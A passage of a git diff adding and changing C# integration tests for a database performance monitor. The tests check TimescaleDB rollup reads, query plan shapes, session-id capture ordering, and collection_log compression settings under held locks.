+    s.server_id, 'probe-' || s.server_id, 'db', 100 + i, 1000 + i,
+    'Regular', TIMESTAMP '2026-03-04 00:00', 'mod', md5('q' || i), 10, 500, 300, 900, 700, 'PRIMARY', 77 + i,
+    TIMESTAMP '2026-03-04 00:00'
+FROM probe_spec AS s CROSS JOIN LATERAL generate_series(1, s.n) AS i;");
+
+        var to = ProbeFrom.AddHours(12);
+        foreach (var view in new[]
+        {
+            TimescaleSupport.QueryStoreStatsHourlyView,
+            TimescaleSupport.QueryStoreStatsIntervalHourlyView,
+            TimescaleSupport.QueryStoreStatsCorrectedHourlyView,
+        })
+        {
+            for (var attempt = 1; ; attempt++)
+            {
+                try
+                {
+                    await using var refresh = new NpgsqlCommand(
+                        $"CALL refresh_continuous_aggregate('collect.{view}', $1::timestamp, $2::timestamp)", connection);
+                    refresh.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Timestamp, Value = DateTime.SpecifyKind(ProbeFrom, DateTimeKind.Unspecified) });
+                    refresh.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Timestamp, Value = DateTime.SpecifyKind(to, DateTimeKind.Unspecified) });
+                    await refresh.ExecuteNonQueryAsync(Ct);
+                    break;
+                }
+                catch (PostgresException ex) when (ex.SqlState == "55P03" && attempt < 12)
+                {
+                    await Task.Delay(TimeSpan.FromSeconds(1), Ct);
+                }
+            }
+        }
+    }
+
+    [Fact]
+    public async Task Live_TheProbeRead_EqualsAnOracleDistinctServerCount_OnBothQueryStoreRollups_AndLeavesAnEmptyHourAbsent()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(Env()), "Set DARLING_TEST_PG to run the #5461 live tests.");
+        var ok = false;
+        var scratch = await ScratchPostgres.CreateAsync(Env()!, Ct);
+        try
+        {
+            await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+            await connection.OpenAsync(Ct);
+            await SeedProbeStoreAsync(connection);
+            await using var source = NpgsqlDataSource.Create(scratch.ConnectionString);
+            var to = ProbeFrom.AddHours(6);
+
+            foreach (var view in new[] { TimescaleSupport.QueryStoreStatsHourlyView, TimescaleSupport.QueryStoreStatsCorrectedHourlyView })
+            {
+                var probe = await CollectionHistoryAudit.ReadAsync(
+                    source, new Rollup("collect." + view, false, CollectionHistoryAudit.ReadShape.Probe), ProbeFrom, to, Ct);
+                var scan = await CollectionHistoryAudit.ReadAsync(
+                    source, new Rollup("collect." + view, false, CollectionHistoryAudit.ReadShape.Scan), ProbeFrom, to, Ct);
+                Assert.NotNull(probe);
+                Assert.NotNull(scan);
+
+                /* The oracle, written here: distinct enabled servers per bucket, buckets with no row absent. */
+                var oracle = new Dictionary<DateTime, int>();
+                await using (var command = new NpgsqlCommand($@"
+SELECT r.bucket, COUNT(DISTINCT r.server_id)::int
+FROM collect.{view} AS r
+WHERE r.server_id IN (SELECT server_id FROM config.config_monitored_servers WHERE is_enabled)
+AND   r.bucket >= $1 AND r.bucket < $2
+GROUP BY r.bucket", connection))
+                {
+                    command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Timestamp, Value = DateTime.SpecifyKind(ProbeFrom, DateTimeKind.Unspecified) });
+                    command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Timestamp, Value = DateTime.SpecifyKind(to, DateTimeKind.Unspecified) });
+                    await using var reader = await command.ExecuteReaderAsync(Ct);
+                    while (await reader.ReadAsync(Ct))
+                    {
+                        oracle[DateTime.SpecifyKind(reader.GetDateTime(0), DateTimeKind.Utc)] = reader.GetInt32(1);
+                    }
+                }
+
+                /* Hours 0 (3 enabled of 4), 1 (one server, 50 rows), 3 (two), 5 (3 enabled of 4). Hour 2 has no
+                   server and hour 4 only the disabled one: both ABSENT, as in the scan. Hour 6 is the exclusive end. */
+                var expected = new Dictionary<DateTime, int>
+                {
+                    [ProbeFrom] = 3, [ProbeFrom.AddHours(1)] = 1, [ProbeFrom.AddHours(3)] = 2, [ProbeFrom.AddHours(5)] = 3,
+                };
+                Assert.Equal(expected, oracle);
+                Assert.Equal(oracle, probe!.ToDictionary(b => b.HourUtc, b => b.Servers));
+                Assert.Equal(oracle, scan!.ToDictionary(b => b.HourUtc, b => b.Servers));
+                Assert.All(probe!, b => Assert.Equal(0L, b.Passes));
+                Assert.Equal(4, probe!.Count);
+
+                /* The audited day 2026-03-04 settles on a bucket at or after 23:00: the empty hours must not read as one. */
+                Assert.False(CollectionHistoryAudit.IsSettled(ProbeFrom, probe!));
+            }
+
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunOwnedAsync(ok, async () => await scratch.DisposeAsync());
+        }
+    }
+
+    [Fact]
+    public async Task Live_TheProbeRead_IsANestedLoopOverTheServerIdBucketIndex_OnATimestampSeries_AgainstARealTimeFreeView()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(Env()), "Set DARLING_TEST_PG to run the #5461 live tests.");
+        var ok = false;
+        var scratch = await ScratchPostgres.CreateAsync(Env()!, Ct);
+        try
+        {
+            await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+            await connection.OpenAsync(Ct);
+            await SeedProbeStoreAsync(connection);
+
+            foreach (var view in new[] { TimescaleSupport.QueryStoreStatsHourlyView, TimescaleSupport.QueryStoreStatsCorrectedHourlyView })
+            {
+                /* The probe reads the materialization only: the view is not real-time, and bucket is a timestamp
+                   (the series is a timestamp series, so no cross-type compare keeps the index out). */
+                await using (var meta = new NpgsqlCommand(@"
+SELECT ca.materialized_only, ca.materialization_hypertable_schema, ca.materialization_hypertable_name,
+       (SELECT data_type FROM information_schema.columns
+        WHERE table_schema = ca.materialization_hypertable_schema AND table_name = ca.materialization_hypertable_name AND column_name = 'bucket')
+FROM timescaledb_information.continuous_aggregates AS ca
+WHERE ca.view_schema = 'collect' AND ca.view_name = $1", connection))
+                {
+                    meta.Parameters.AddWithValue(view);
+                    await using var reader = await meta.ExecuteReaderAsync(Ct);
+                    Assert.True(await reader.ReadAsync(Ct));
+                    Assert.True(reader.GetBoolean(0), view + " must be materialized_only: the probe reads the materialization alone (#5461)");
+                    Assert.Equal("timestamp without time zone", reader.GetString(3));
+                }
+
+                var sql = CollectionHistoryAudit.BuildSql(new Rollup("collect." + view, false, CollectionHistoryAudit.ReadShape.Probe));
+                await using var transaction = await connection.BeginTransactionAsync(Ct);
+
+                /* The rig's data is a few rows, where the planner prefers a seq scan of the materialization; the
+                   rig proves the index path EXISTS for this statement, and the big store proves its cost. */
+                await ExecAsync(connection, "SET LOCAL enable_seqscan = off");
+
+                string json;
+                await using (var explain = new NpgsqlCommand("EXPLAIN (FORMAT JSON) " + sql, connection, transaction))
+                {
+                    explain.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Timestamp, Value = DateTime.SpecifyKind(ProbeFrom, DateTimeKind.Unspecified) });
+                    explain.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Timestamp, Value = DateTime.SpecifyKind(ProbeFrom.AddHours(200), DateTimeKind.Unspecified) });
+                    json = (string)(await explain.ExecuteScalarAsync(Ct))!;
+                }
+
+                var nodes = new List<System.Text.Json.JsonElement>();
+                void Walk(System.Text.Json.JsonElement node)
+                {
+                    nodes.Add(node);
+                    if (node.TryGetProperty("Plans", out var plans))
+                    {
+                        foreach (var child in plans.EnumerateArray())
+                        {
+                            Walk(child);
+                        }
+                    }
+                }
+
+                Walk(System.Text.Json.JsonDocument.Parse(json).RootElement[0].GetProperty("Plan"));
+                string Text(System.Text.Json.JsonElement n, string name) => n.TryGetProperty(name, out var v) ? v.GetString() ?? "" : "";
+
+                Assert.Contains(nodes, n => Text(n, "Node Type") == "Nested Loop");
+                var indexScans = nodes.Where(n => Text(n, "Node Type") is "Index Scan" or "Index Only Scan"
+                    && Text(n, "Relation Name").StartsWith("_hyper_", StringComparison.Ordinal)).ToList();
+                Assert.NotEmpty(indexScans);
+                Assert.DoesNotContain(nodes, n => Text(n, "Node Type") == "Seq Scan"
+                    && Text(n, "Relation Name").StartsWith("_hyper_", StringComparison.Ordinal));
+
+                foreach (var scan in indexScans)
+                {
+                    /* The index is the kept (server_id, bucket) one, probed on both columns with no cross-type cast. */
+                    await using var def = new NpgsqlCommand("SELECT indexdef FROM pg_indexes WHERE indexname = $1", connection, transaction);
+                    def.Parameters.AddWithValue(Text(scan, "Index Name"));
+                    var indexDef = (string?)await def.ExecuteScalarAsync(Ct);
+                    Assert.Contains("(server_id, bucket", indexDef, StringComparison.Ordinal);
+                    var cond = Text(scan, "Index Cond");
+                    Assert.Contains("server_id", cond, StringComparison.Ordinal);
+                    Assert.Contains("bucket", cond, StringComparison.Ordinal);
+                    Assert.DoesNotContain("time zone", cond, StringComparison.Ordinal);
+                }
+
+                await transaction.RollbackAsync(Ct);
+            }
+
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunOwnedAsync(ok, async () => await scratch.DisposeAsync());
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/CollectionLogDrainForensicsStoreTests.cs b/Darling/Darling.Tests/CollectionLogDrainForensicsStoreTests.cs
index 3469d51fb9..d6ae955ecf 100644
--- a/Darling/Darling.Tests/CollectionLogDrainForensicsStoreTests.cs
+++ b/Darling/Darling.Tests/CollectionLogDrainForensicsStoreTests.cs
@@ -236,37 +236,40 @@ public void TheUnmeasuredSentinelIsNeverWrittenAsALiteral()
     }
 
     /// <summary>
-    /// The session id is captured AFTER the open round trip, exactly once, and the helper normalizes the
-    /// provider's not-populated 0 to null (#2884).
-    ///
-    /// <para>SqlConnection.ServerProcessId is not reliably populated until the connection has round-tripped
-    /// a command. The original capture sat before ExecuteReaderAsync, so the runs it mattered most for —
-    /// budget-abandoned cycles, where the id is the join key to waiting_tasks and the peer snapshots —
-    /// recorded a literal 0. Ordering is pinned on the source because it IS a source property: the capture
-    /// call must come after the ExecuteReaderAsync await it depends on, and a refactor that hoists it back
-    /// above the open reintroduces #2884 while compiling clean and passing every behavioral test that
-    /// cannot construct a real SqlConnection.</para>
+    /// The session id is resolved right after the target connection opens and BEFORE any reader exists on
+    /// it, through the per-connection cache (#5132). Under MultipleActiveResultSets
+    /// <c>SqlConnection.ServerProcessId</c> is 0 at every point, so the old capture after
+    /// <c>ExecuteReaderAsync</c> recorded nothing; the open-time lookup is the only source. The ordering and
+    /// the single call site are source properties, pinned here.
     /// </summary>
     [Fact]
-    public void TheSessionIdIsCapturedAfterTheOpenRoundTrip()
+    public void TheSessionIdIsResolvedRightAfterTheOpen_BeforeAnyReader()
     {
         var runner = ReadSource("Darling/PerformanceMonitor.Darling.Service/DarlingCollectorRunner.cs");
 
-        const string openCall = "opened = await command.ExecuteReaderAsync(";
-        const string captureCall = "context.TargetSessionId = TryReadTargetSessionId(";
-
+        const string openCall = "await targetConnection.OpenAsync(cancellationToken);";
+        const string captureCall = "await TargetSessionIdCache.Shared.ResolveAsync(targetConnection";
         var open = runner.IndexOf(openCall, StringComparison.Ordinal);
         var capture = runner.IndexOf(captureCall, StringComparison.Ordinal);
 
         Assert.True(open >= 0, "the server-scoped open call moved; re-anchor this pin");
-        Assert.True(capture >= 0, "the session-id capture is gone entirely");
-        Assert.True(capture > open,
-            "the session id must be captured AFTER ExecuteReaderAsync has round-tripped (#2884) — " +
-            "before it, SqlConnection.ServerProcessId reads 0 on exactly the abandoned cycles it exists to explain");
+        Assert.True(capture > open, "the session-id lookup must follow the open");
+
+        /* BOTH reader call sites on the connection come after the capture: the enumerated path's list
+           reader and the plain path's reader. */
+        foreach (var readerCall in new[] { "ExecuteReaderAsync(cancellationToken)", "opened = await command.ExecuteReaderAsync(itemToken)" })
+        {
+            var reader = runner.IndexOf(readerCall, open, StringComparison.Ordinal);
+            Assert.True(reader > 0, $"the reader call '{readerCall}' moved; re-anchor this pin");
+            Assert.True(capture < reader, $"the session-id lookup must precede '{readerCall}'");
+        }
+
         Assert.Equal(capture, runner.LastIndexOf(captureCall, StringComparison.Ordinal));
 
-        /* The helper's own normalization: 0 is not a session id and must become null at the source. */
-        Assert.Contains("return raw > 0 ? raw : null;", runner, StringComparison.Ordinal);
+        /* The reconnect check sits right after the plain path's first reader, never before it. */
+        var plainReader = runner.IndexOf("opened = await command.ExecuteReaderAsync(itemToken)", StringComparison.Ordinal);
+        var discard = runner.IndexOf("TargetSessionIdCache.Shared.DiscardIfReplaced(", StringComparison.Ordinal);
+        Assert.True(discard > plainReader && plainReader > 0, "the replaced-connection check must follow the first reader's open");
     }
 
     /// <summary>
@@ -302,7 +305,7 @@ public void ThePeerMarkIsCapturedAtDispatchNotAtCompletion()
         var worker = ReadSource("Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs");
 
         Assert.Contains("var peerMaxAtDispatchMs = PeerMaxOrNull(server);", worker, StringComparison.Ordinal);
-        Assert.Contains("RunDetachedAsync(server, runner, name, peerMaxAtDispatchMs, cancellationToken)", worker, StringComparison.Ordinal);
+        Assert.Contains("RunDetachedAsync(server, runner, name, peerMaxAtDispatchMs, cancellationToken", worker, StringComparison.Ordinal);
 
         /* The write uses the captured parameter. Re-reading live server state here is the defect.
 
@@ -318,6 +321,15 @@ no pin. This form is adjacency-independent on the left and still pinned on the r
         Assert.Contains("result.FetchPhases, peerMaxAtDispatchMs, _logger", worker, StringComparison.Ordinal);
         Assert.DoesNotContain("PeerMaxOrNull(server), _logger", worker, StringComparison.Ordinal);
 
+        /* #5320: the statement text refresh is not a scheduled body either - it rides the statistics collector's run and
+           writes its own failure and success rows from outside RunOneAsync, with no dispatch mark to carry and no
+           drain to describe. The counts below are about the rows RunOneAsync writes, so that method is cut out of
+           the text they read; the live-re-read pin above still reads the whole file. */
+        var refreshStart = worker.IndexOf("private async Task TryRefreshPgStatementTextAsync(", StringComparison.Ordinal);
+        var refreshEnd = worker.IndexOf("private static async Task<(List<long> QueryIds", refreshStart, StringComparison.Ordinal);
+        Assert.True(refreshStart > 0 && refreshEnd > refreshStart, "#5320: the text refresh method moved; update this carve-out");
+        worker = worker.Remove(refreshStart, refreshEnd - refreshStart);
+
         /* The two callers that are not a scheduled body pass null rather than folding a previous body's
            bookkeeping into their rows. */
         Assert.Equal(2, Regex.Matches(worker, @"peerMaxAtDispatchMs: null").Count);
@@ -341,13 +353,18 @@ bookkeeping into their rows. */
            route can read. The pin is what turned that into a merge conflict to resolve rather than a
            wrong number nobody noticed. #4053's no-csvlog-file arm is the twelfth, the csvlog route's twin of
            the eleventh: the collector is on and csvlog is configured, but no .csv file exists yet. #4053's
-           no-jsonlog-file arm is the thirteenth, the jsonlog route's twin of the twelfth. */
-        Assert.Equal(13, Regex.Matches(worker, @"drain: null").Count);
-
-        /* And V110's fetch sums stay null on those same thirteen arms and for the same reason: no item
+           no-jsonlog-file arm is the thirteenth, the jsonlog route's twin of the twelfth. #5378's
+           long-query PERMISSIONS arm is the fourteenth: the session's create was denied (the login lacks
+           ALTER ANY EVENT SESSION), so the run is an early return that read and drained nothing. The RDS
+           endpoint-check arm is the fifteenth: the run stops before any RDS or Performance Insights call, so it read and
+           drained nothing either. The AWS role arm (#5452) is the sixteenth, for the same reason: a role the service cannot
+           use stops the run before any RDS call. */
+        Assert.Equal(16, Regex.Matches(worker, @"drain: null").Count);
+
+        /* And V110's fetch sums stay null on those same sixteen arms and for the same reason: no item
            completed, so no fetch was performed. Counted rather than merely present, so an arm that starts
            passing a real value - which would mean attributing another run's fetch to a failure row - is a red. */
-        Assert.Equal(13, Regex.Matches(worker, @"fetchPhases: null").Count);
+        Assert.Equal(16, Regex.Matches(worker, @"fetchPhases: null").Count);
     }
 
     /// <summary>
diff --git a/Darling/Darling.Tests/CollectionLogFanoutRollupStoreTests.cs b/Darling/Darling.Tests/CollectionLogFanoutRollupStoreTests.cs
index ec474ec7b6..f79b782221 100644
--- a/Darling/Darling.Tests/CollectionLogFanoutRollupStoreTests.cs
+++ b/Darling/Darling.Tests/CollectionLogFanoutRollupStoreTests.cs
@@ -32,6 +32,7 @@ namespace Darling.Tests;
 /// <see cref="TheTailStatistics_CannotSeparateTheTwoShapes"/> is the arithmetic. Both aggregate over RUNS,
 /// and each of those runs is one blended row.</para>
 /// </summary>
+[Trait("Reads", "Lite")]
 public class CollectionLogFanoutRollupStoreTests
 {
     [Fact]
diff --git a/Darling/Darling.Tests/CollectionLogSegmentByLiveTests.cs b/Darling/Darling.Tests/CollectionLogSegmentByLiveTests.cs
new file mode 100644
index 0000000000..a60aeabb5c
--- /dev/null
+++ b/Darling/Darling.Tests/CollectionLogSegmentByLiveTests.cs
@@ -0,0 +1,722 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Linq;
+using System.Text;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Analysis.Baselines;
+using PerformanceMonitor.Darling.Analysis;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4951: <c>collection_log</c> compresses segmented by collector as well as by server, so a read for one collector
+/// decompresses only that collector's batches instead of every collector's runs on the server.
+///
+/// <para>Each test mints its own scratch database: the chunk census and the plan shape are statements about one
+/// store's chunks, and another class's leftovers would change them.</para>
+///
+/// <para>The expected segmentby is a literal here on purpose. These tests pin the value the store ends up with, so they
+/// must not move when the product's constant does.</para>
+///
+/// <para>The "upgraded" stores are built with the statements every build before #4951 ran (create_hypertable, then
+/// the enable ALTER with <c>server_id</c> alone), with their older chunks compressed under those settings.</para>
+/// </summary>
+[Collection("live-postgres")]
+public sealed class CollectionLogSegmentByLiveTests
+{
+    /// <summary>What the store must end with, in the spelling the helper below reads it back in.</summary>
+    private const string WantedSegmentBy = "server_id, collector_name";
+
+    /// <summary>What every store converted before #4951 has.</summary>
+    private const string OldSegmentBy = "server_id";
+
+    /// <summary>The same two values as the per-chunk view spells them (comma, no space).</summary>
+    private const string WantedChunkSegmentBy = "server_id,collector_name";
+    private const string OldChunkSegmentBy = "server_id";
+
+    private const int ServerA = -495101;
+    private const int ServerB = -495102;
+    private const string ServerName = "SEGMENTBY-SRV";
+    private const string HeldCollectorColumn = "collector_name_held";
+
+    /// <summary>Well below any id the generator hands out, so a seeded row can never collide with a real one.</summary>
+    private const long LogIdBase = -495_100_000_000L;
+
+    private static readonly string[] Collectors = { "blocked_process_report", "wait_stats", "cpu_utilization" };
+
+    /// <summary>The plan test's analysis hour, in the past, so every seeded chunk is old enough to compress. It is the
+    /// coverage-read plan class's own hour, because that class's EXPLAIN helper reads the window at it.</summary>
+    private static readonly DateTime AnalysisTime = DarlingEventBaselineCoverageReadPlanShapeLiveTests.AnalysisTime;
+
+    /// <summary>Inside the plan test's baseline window.</summary>
+    private static readonly DateTime EventTime = DarlingEventBaselineCoverageReadPlanShapeLiveTests.EventTime;
+
+    /* ---------------- fresh stores (condition 1) ---------------- */
+
+    /// <summary>
+    /// The usual fresh store: the migrations run before CREATE EXTENSION, so V23's guard skips and the runtime ensure
+    /// both converts collection_log and sets its compression. This one collected on plain PostgreSQL for days before
+    /// the extension arrived, so the conversion moves rows old enough to compress at once. The ensure's first ALTER
+    /// must already be the new setting, so the policy's first run compresses every one of those chunks with it, and
+    /// the store never compresses a chunk under <c>server_id</c> alone.
+    /// </summary>
+    [Fact]
+    public async Task AFreshStore_WhoseExtensionComesAfterTheMigrations_GetsTheNewSegmentBy_OnItsFirstConversion()
+    {
+        var baseConnectionString = RequireLivePostgres();
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString, ct);
+        using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+
+        Assert.SkipWhen(
+            await ScalarAsync<long>(connection, "SELECT count(*) FROM pg_extension WHERE extname = 'timescaledb'", ct) > 0,
+            "this cluster's template database already carries TimescaleDB, so a new database cannot start without it; the extension-first test covers that order.");
+
+        await PgMigrations.MigrateAsync(connection, ct);
+        Assert.False((await ReadHypertableAsync(connection, ct)).IsHypertable,
+            "V23 converted collection_log on a store without the extension; this test needs the usual order");
+
+        /* Six days of runs, written while collection_log is still a plain table. */
+        var now = DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified);
+        await SeedAsync(connection, "collector_name", new[] { ServerA, ServerB }, now.Date.AddDays(-6), now.AddMinutes(-15), ct);
+        var dataBefore = await DataHashAsync(connection, "collector_name", ct);
+
+        Assert.SkipUnless(await LiveTimescaleProbe.TryEnableAsync(scratch.ConnectionString, ct),
+            "TimescaleDB is not available on this cluster.");
+        await StopBackgroundWorkersAsync(connection, ct);
+        await RequirePerChunkSettingsAsync(connection, ct);
+
+        Assert.True(await TimescaleSupport.EnsureCollectionLogHypertableAsync(connection, null, ct));
+
+        var state = await ReadHypertableAsync(connection, ct);
+        Assert.True(state.IsHypertable);
+        Assert.True(state.CompressionEnabled);
+        Assert.Equal(WantedSegmentBy, state.SegmentBy);
+        Assert.Contains(TimescaleSupport.CollectionLogTable, await ConvergedTablesAsync(connection, ct));
+
+        /* The policy's first run compresses the converted rows' older chunks, every one with the new value, and
+           changes no row. */
+        await RunCompressionPolicyAsync(connection, ct);
+        var chunks = await ReadChunkSettingsAsync(connection, ct);
+        Assert.NotEmpty(chunks);
+        Assert.All(chunks, chunk => Assert.Equal(WantedChunkSegmentBy, chunk.SegmentBy));
+        Assert.Equal(dataBefore, await DataHashAsync(connection, "collector_name", ct));
+    }
+
+    /// <summary>
+    /// The other fresh-store order: TimescaleDB is installed before the migrations run (a bring-your-own store whose
+    /// administrator created it first), so V23 does the first conversion, with the <c>server_id</c> its text has always
+    /// had (a migration is never edited). V23's policy has no start time, so the scheduler runs it as soon as it is
+    /// added; on a new store that run finds an empty table. The first start's ensure then moves the hypertable to the
+    /// new value before any row is old enough to compress, so every chunk the policy compresses later uses the new
+    /// value and none uses <c>server_id</c> alone.
+    /// </summary>
+    [Fact]
+    public async Task AFreshStore_WhoseExtensionPredatesTheMigrations_HasTheNewSegmentBy_AfterItsFirstStart_AndNoServerIdOnlyChunk()
+    {
+        var baseConnectionString = RequireLivePostgres();
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString, ct);
+
+        Assert.SkipUnless(await LiveTimescaleProbe.TryEnableAsync(scratch.ConnectionString, ct),
+            "TimescaleDB is not available on this cluster.");
+
+        using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await StopBackgroundWorkersAsync(connection, ct);
+        await RequirePerChunkSettingsAsync(connection, ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        /* V23's own work: converted, compression on, with its text's server_id. */
+        var afterMigrations = await ReadHypertableAsync(connection, ct);
+        Assert.True(afterMigrations.IsHypertable, "V23 did not convert collection_log although the extension existed when it ran");
+        Assert.True(afterMigrations.CompressionEnabled);
+        Assert.Equal(OldSegmentBy, afterMigrations.SegmentBy);
+
+        /* V23's policy's immediate first run (the background workers are stopped, so it runs here). A new store's
+           table is empty, so it compresses nothing under server_id. */
+        await RunCompressionPolicyAsync(connection, ct);
+        Assert.Empty(await ReadChunkSettingsAsync(connection, ct));
+
+        /* The first start. */
+        Assert.True(await TimescaleSupport.EnsureCollectionLogHypertableAsync(connection, null, ct));
+        Assert.Equal(WantedSegmentBy, (await ReadHypertableAsync(connection, ct)).SegmentBy);
+        Assert.Contains(TimescaleSupport.CollectionLogTable, await ConvergedTablesAsync(connection, ct));
+
+        /* Days of runs later, the policy compresses the older chunks, every one with the new value. */
+        var now = DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified);
+        await SeedAsync(connection, "collector_name", new[] { ServerA, ServerB }, now.Date.AddDays(-6), now.AddMinutes(-15), ct);
+        await RunCompressionPolicyAsync(connection, ct);
+        var chunks = await ReadChunkSettingsAsync(connection, ct);
+        Assert.NotEmpty(chunks);
+        Assert.All(chunks, chunk => Assert.Equal(WantedChunkSegmentBy, chunk.SegmentBy));
+    }
+
+    /* ---------------- upgraded stores ---------------- */
+
+    /// <summary>
+    /// An upgraded store whose chunks are already compressed under <c>server_id</c>. The ensure moves the hypertable to
+    /// the new value, leaves every compressed chunk as it was, and from then on reads as converged WHILE those old
+    /// chunks remain, so the hourly pass issues no ALTER. The settings read looks at the hypertable's own row, never at
+    /// a chunk's.
+    /// </summary>
+    [Fact]
+    public async Task AnUpgradedStore_MovesTheHypertableToTheNewSegmentBy_LeavesOldChunksAlone_AndReadsAsConverged()
+    {
+        var baseConnectionString = RequireLivePostgres();
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString, ct);
+        using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await BuildUpgradedLogAsync(connection, scratch.ConnectionString, "collector_name", ct);
+
+        var chunksBefore = await ReadChunkSettingsAsync(connection, ct);
+        Assert.NotEmpty(chunksBefore);
+        Assert.All(chunksBefore, chunk => Assert.Equal(OldChunkSegmentBy, chunk.SegmentBy));
+        var dataBefore = await DataHashAsync(connection, "collector_name", ct);
+
+        Assert.True(await TimescaleSupport.EnsureCollectionLogHypertableAsync(connection, null, ct));
+
+        Assert.Equal(WantedSegmentBy, (await ReadHypertableAsync(connection, ct)).SegmentBy);
+        Assert.Equal(chunksBefore, await ReadChunkSettingsAsync(connection, ct));
+        Assert.Equal(dataBefore, await DataHashAsync(connection, "collector_name", ct));
+        Assert.Contains(TimescaleSupport.CollectionLogTable, await ConvergedTablesAsync(connection, ct));
+
+        /* A second pass is a no-op on the same store. */
+        Assert.True(await TimescaleSupport.EnsureCollectionLogHypertableAsync(connection, null, ct));
+        Assert.Equal(chunksBefore, await ReadChunkSettingsAsync(connection, ct));
+    }
+
+    /// <summary>
+    /// The pin behind "a converged store takes no ACCESS EXCLUSIVE lock each hour". With the setting converged and old
+    /// chunks still present, another session holds a lock that any ALTER would have to wait behind. The pass must
+    /// finish without waiting and report success: had it issued the ALTER, it would have waited out its lock timeout
+    /// and reported the busy lock instead.
+    /// </summary>
+    [Fact]
+    public async Task AConvergedStore_IssuesNoAlter_SoAHeldLockDoesNotHoldUpTheHourlyPass()
+    {
+        var baseConnectionString = RequireLivePostgres();
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString, ct);
+        using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await BuildUpgradedLogAsync(connection, scratch.ConnectionString, "collector_name", ct);
+
+        Assert.True(await TimescaleSupport.EnsureCollectionLogHypertableAsync(connection, null, ct));
+        Assert.Equal(WantedSegmentBy, (await ReadHypertableAsync(connection, ct)).SegmentBy);
+
+        await using var holder = new NpgsqlConnection(scratch.ConnectionString);
+        await holder.OpenAsync(ct);
+        await using var hold = await holder.BeginTransactionAsync(ct);
+        await ExecAsync(holder, "SELECT count(*) FROM collection_log", ct, hold);
+
+        var logger = new CapturingTestLogger();
+        using var bounded = CancellationTokenSource.CreateLinkedTokenSource(ct);
+        bounded.CancelAfter(TimeSpan.FromSeconds(60));
+        var elapsed = Stopwatch.StartNew();
+        var ok = await TimescaleSupport.EnsureCollectionLogHypertableAsync(connection, logger, bounded.Token);
+        elapsed.Stop();
+
+        Assert.True(ok, $"a converged pass did not finish cleanly beside a reader's lock (it took {elapsed.Elapsed}): {logger.Joined}");
+        Assert.Equal(0, logger.CountAtLevel(Microsoft.Extensions.Logging.LogLevel.Warning));
+        Assert.DoesNotContain(logger.Lines, line => line.Contains("compression settings", StringComparison.Ordinal));
+        Assert.Equal(WantedSegmentBy, (await ReadHypertableAsync(connection, ct)).SegmentBy);
+
+        await hold.RollbackAsync(ct);
+    }
+
+    /* ---------------- the lock (M1) ---------------- */
+
+    /// <summary>
+    /// A long reader holds collection_log while the change is due. The ALTER must give up at its lock timeout instead
+    /// of waiting (and queueing every collector's insert behind it): the pass returns false, logs at Information that
+    /// the next hourly pass tries again, changes nothing, and leaves the connection usable. Once the reader lets go,
+    /// the next pass applies the change.
+    /// </summary>
+    [Fact]
+    public async Task AHeldLock_BoundsTheAlter_TheStoreIsUnchanged_AndTheNextPassAppliesIt()
+    {
+        var baseConnectionString = RequireLivePostgres();
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString, ct);
+        using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await BuildUpgradedLogAsync(connection, scratch.ConnectionString, "collector_name", ct);
+        var chunksBefore = await ReadChunkSettingsAsync(connection, ct);
+
+        await using var holder = new NpgsqlConnection(scratch.ConnectionString);
+        await holder.OpenAsync(ct);
+        var hold = await holder.BeginTransactionAsync(ct);
+        await ExecAsync(holder, "SELECT count(*) FROM collection_log", ct, hold);
+
+        var logger = new CapturingTestLogger();
+        bool ok;
+        var elapsed = Stopwatch.StartNew();
+        using (var bounded = CancellationTokenSource.CreateLinkedTokenSource(ct))
+        {
+            bounded.CancelAfter(TimeSpan.FromSeconds(60));
+            ok = await TimescaleSupport.EnsureCollectionLogHypertableAsync(connection, logger, bounded.Token);
+        }
+
+        elapsed.Stop();
+
+        Assert.False(ok, $"the pass reported success while another session held collection_log: {logger.Joined}");
